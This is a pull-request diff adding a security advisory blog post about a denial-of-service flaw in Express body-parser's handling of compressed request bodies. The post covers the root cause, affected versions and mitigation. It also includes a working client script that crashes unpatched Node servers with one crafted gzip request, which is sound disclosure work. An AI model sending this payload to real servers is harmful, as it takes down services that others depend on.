Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions project-words.txt
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ CITGM
Clickjacking
codemod
Codemods
contentstream
couchnode
crandmck
Davide
Expand Down
120 changes: 120 additions & 0 deletions src/content/blog/2026-10-22-CVE-2026-111181.mdx
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
---
title: 'CVE-2026-111181: Denial of service in body-parser'
description: A flaw in body-parser's handling of compressed request bodies can terminate a process when trailing bytes reach a finished decompression stream

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
description: A flaw in body-parser's handling of compressed request bodies can terminate a process when trailing bytes reach a finished decompression stream
description: A vulnerability in Express body-parser middleware enables a malicious client to crash a server with a single request.

date: 2026-10-22
tags: ['security']
authors:
- name: Gavin Stuart
github: blue2cat
---

import Alert from '@components/primitives/Alert/Alert.astro';

[CVE-2026-111181](https://github.com/advisories/GHSA-27r3-jxmh-p828) is a denial-of-service vulnerability in the Express [`body-parser`](https://www.npmjs.com/package/body-parser) middleware that allows a malicious client to crash a server with a single request.
`body-parser` accepts compressed requests by default, rendering most unpatched versions vulnerable.

## How it works

When [`inflate`](https://github.com/expressjs/body-parser#inflate-1) is enabled, the `contentstream()` function that `read()` calls creates a decompression stream and pipes the incoming request into it:

```js
const stream = createDecompressionStream(encoding, debug);
req.pipe(stream);
return stream;
```

Once the body is read, `body-parser` calls `next()` on the success path while the request remains piped into the decoder, without attaching an `error` listener to that stream:

```js
req.body = parse(str, encoding)
} catch (err) {
next(createError(400, err, {
body: str,
type: err.type || 'entity.parse.failed'
}))
return
}

next()
```

As a result, when a request payload contains a valid gzip member followed by a zero byte and additional data, the following sequence unfolds:

- The decoder reaches the end of the valid gzip member and signals completion, but does not close. The [`raw-body`](https://www.npmjs.com/package/raw-body) library returns the decoded payload and detaches its event listeners, including the error listener.
- `body-parser` hands control to the next middleware, allowing the Express app to process the request and send a normal response.
- The trailing bytes continue flowing into the still-open decoder, which emits an error because decompression has already finished.
- The only remaining error listener is the one Node's `pipe()` added, which re-emits the error. With nothing else listening, this becomes an uncaught exception that crashes the Node.js process.

## Triggering the vulnerability

Any server running an impacted version (see [Vulnerable versions](#vulnerable-versions)) of `body-parser` with request decompression enabled is vulnerable. While the minimal reproduction below uses a raw `node:http` server with `body-parser`, a standard Express 4 or 5 application behaves the same way.

```js title="server.js"
import http from 'node:http';
import bodyParser from 'body-parser';

const parse = bodyParser.json();

http
.createServer((req, res) => parse(req, res, () => res.end('ok\n')))
.listen(3000, '127.0.0.1', () => console.log('up, pid', process.pid));
```

To trigger the vulnerability, a malicious client sends a body consisting of a valid gzip-compressed `{}` JSON object followed by a zero byte and additional trailing bytes:

```js title="client.js"
import net from 'node:net';
import { gzipSync } from 'node:zlib';

const body = Buffer.concat([
gzipSync(Buffer.from('{}')), // a valid compressed frame
Buffer.from([0x00]), // makes gunzip end after the first member
Buffer.alloc(100 * 1024, 0x58), // reaches the decoder after it finishes
]);

const req = [
'POST / HTTP/1.1',
'Host: x',
'Content-Type: application/json',
'Content-Encoding: gzip',
`Content-Length: ${body.length}`,
'',
'',
].join('\r\n');

net.connect(3000, '127.0.0.1', function () {
this.on('data', (d) => process.stdout.write(d));
this.write(req);
this.write(body);
});
```

## Impact

A remote client can crash the application with a single request, making it easy to take down an entire load-balanced cluster by spreading a handful of requests across vulnerable nodes. When the parser is mounted globally ahead of authentication, the request does not need to match a valid route or pass an authentication check.

## Vulnerable versions

- `body-parser` 2.3.x and earlier
- `body-parser` 1.20.8 and earlier

## Mitigation

Upgrade to `body-parser` 2.4.0 or later, or 1.20.9 or later.

If the application does not need compressed request bodies, set `inflate` to `false` to reject encoded requests before a decompression stream is created:

```js
import bodyParser from 'body-parser';

app.use(bodyParser.json({ inflate: false }));
```

<Alert type="warning">
This workaround rejects compressed bodies. Upgrade if the application needs to accept them.
</Alert>

## References

- [CVE-2026-111181](https://www.cve.org/CVERecord?id=CVE-2026-111181)
- [GHSA-27r3-jxmh-p828](https://github.com/advisories/GHSA-27r3-jxmh-p828)
Loading